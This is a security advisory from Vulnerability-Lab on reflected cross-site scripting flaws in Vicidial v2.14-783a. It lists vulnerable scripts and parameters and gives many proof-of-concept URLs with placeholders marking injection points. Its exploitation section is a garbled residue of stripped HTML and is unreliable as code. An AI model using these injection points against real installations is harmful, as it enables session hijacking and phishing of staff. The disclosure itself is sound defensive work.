Document Title: =============== Vicidial v2.14-783a - Multiple XSS Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2311 Release Date: ============= 2022-10-11 Vulnerability Laboratory ID (VL-ID): ==================================== 2311 Common Vulnerability Scoring System: ==================================== 5.2 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well. The agent interface is an interactive set of web pages that work through a web browser to give real-time information and functionality with nothing more than an internet browser on the client computer. The management interface is also web-based and offers the ability to view many real-time and summary reports as well as many detailed campaign and agent options and settings. VICIDIAL can function as an ACD for inbound calls or for Closer calls coming from VICIDIAL outbound fronters and even allows for remote agents logging in from remote locations as well as remote agents that may only have a phone. There are currently over 24,000 installations of VICIDIAL in production in over 100 countries around the world, several with over 300 agent seats and many with multiple locations. (Copy of the Homepage:https://www.vicidial.org/vicidial.php ) (Download:https://www.vicidial.org/vicidial.php ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple client-site cross site scripting vulnerabilities in the VICIDIAL v2.14-783a web-application. Affected Product(s): ==================== Vicidial Group Product: Vicidial v2.14-783a - (Web-Application) Vulnerability Disclosure Timeline: ================================== 2022-01-15: Researcher Notification & Coordination (Security Researcher) 2022-01-16: Vendor Notification (Security Department) 2022-**-**: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2022-10-11: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple non-persistent cross site scripting web vulnerabilities has been discovered in the official VICIDIAL v2.14-783a web-application. The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user session data or to manipulate application contents for clients. The vulnerabilities are located in the `end_date`, `query_date`, `shift`, `type`, `use_lists`, `search_archived_data`, `start_hour`, `end_hour`, `stage`, `agent`, `user`, `db` parameters of the vulnerable `AST_IVRstats.php`, `AST_LISTS_pass_report.php`, `AST_user_group_hourly_detail.php`, `AST_agent_time_sheet.php`, `AST_agent_days_detail.php`, `user_status.php`, `admin_lists_custom.php` and `admin.php` files. Remote attackers are able to create special crafted malicious links to execute client-side script code from the application context. The request method to inject is GET and the attack vector is non-persistent. The identified web vulnerabilities are classic cross site scripting issues. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] GET Vulnerable File(s): [+] AST_IVRstats.php [+] AST_LISTS_pass_report.php [+] AST_user_group_hourly_detail.php [+] AST_agent_time_sheet.php [+] AST_agent_days_detail.php [+] user_status.php [+] admin_lists_custom.php [+] admin.php Vulnerable Parameter(s): [+] end_date [+] query_date [+] shift [+] type [+] use_lists [+] search_archived_data [+] start_hour [+] end_hour [+] stage [+] agent [+] user [+] db Affected Module(s): [+] Backend Administration Web UI (Agents, Managers & Admins) Proof of Concept (PoC): ======================= The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. Vulnerable Source: (PoC - IVR Report)           &file_download=1&search_archived_data=">DOWNLOAD | MODIFY | REPORTS | [MALICIOUS SCRIPT CODE EXECUTION POINT!]">CLOSER REPORT PoC: Payload PoC: Vulnerable Parameters https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=+00%3A00%3A00&end_date[XSS]+23%3A59%3A59&query_date_D= &query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=[XSS]+00%3A00%3A00&end_date+23%3A59%3A59&query_date_D= &query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=inbound&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D= &query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift[XSS]&report_display_type=HTML https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=&type=[XSS]&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D= &query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=[XSS]&type=inbound&query_date=+00%3A00%3A00&end_date+23%3A59%3A59&query_date_D= &query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML https://vicidial.localhost:8080/vicidial/AST_LISTS_pass_report.php?DB=&use_lists=[XSS]&report_display_type=HTML&SUBMIT=SUBMIT https://vicidial.localhost:8080/vicidial/admin.php?query_date[XSS]&end_date=2022-01-04&max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL https://vicidial.localhost:8080/vicidial/admin.php?query_date=2021-12-06&end_date=[XSS]&max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL https://vicidial.localhost:8080/vicidial/AST_user_group_hourly_detail.php?DB=&query_date=2022-01-04&start_hour=16&end_hour=16&SUBMIT=&search_archived_data=[XSS] https://vicidial.localhost:8080/vicidial/AST_user_group_hourly_detail.php?DB=&query_date=2022-01-04&start_hour=[XSS]&end_hour=[XSS]&file_download=1&SUBMIT=&search_archived_data= https://vicidial.localhost:8080/vicidial/AST_agent_time_sheet.php?query_date=[XSS]&agent=[XSS]&SUBMIT=SUBMIT https://vicidial.localhost:8080/vicidial/user_status.php?user=[XSS] https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=2022-01-15&end_date=2022-01-15&group[]=--ALL--&shift=[XSS] https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=2022-01-15&end_date=[XSS]&group[]=--ALL--&shift=ALL https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?user=8178&query_date=[XSS]&end_date=2022-01-15&group[]=--ALL--&shift=ALL https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?DB=&query_date=2022-01-15&end_date=2022-01-15&group%5B%5D=0408&report_display_type=TEXT&user=[XSS]&shift=ALL&SUBMIT=SUBMIT https://vicidial.localhost:8080/vicidial/AST_agent_days_detail.php?query_date=2022-01-15&end_date=2022-01-15&shift=ALL&DB=&user=8178&group[]=0408&search_archived_data=&report_display_type=TEXT&stage=[XSS] https://vicidial.localhost:8080/vicidial/AST_agent_time_sheet.php?query_date=2022-01-15&agent=[XSS]&SUBMIT=SUBMIT https://vicidial.localhost:8080/vicidial/admin_lists_custom.php?action=DELETE_CUSTOM_FIELD_CONFIRMATION&list_id=108&field_id=133&field_label=idcliente&field_type=TEXT&field_duplicate=N&DB=[XSS] PoC: Exploitation vicidial xss exploit "> &SUBMIT=SUBMIT"> "> &shift=ALL&SUBMIT=SUBMIT"> &end_date=2022-01-15&group[]=--ALL--&shift=ALL"> &group[]=--ALL--&shift=ALL"> "> "> &agent=&SUBMIT=SUBMIT"> &end_hour=&file_download=1&SUBMIT=&search_archived_data="> &max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL"> &end_date=2022-01-04 &max_system_stats_submit=ADJUST+DATE+RANGE&ADD=999992&stage=TOTAL"> &type=inbound&query_date=+00%3A00%3A00&end_date+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL &report_display_type=HTML"> +23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00 &end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML "> &report_display_type=HTML"> &query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59 &shift=ALL&report_display_type=HTML"> Security Risk: ============== The security risk of the cross site scripting web vulnerabilities in the vicidial web-application are estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE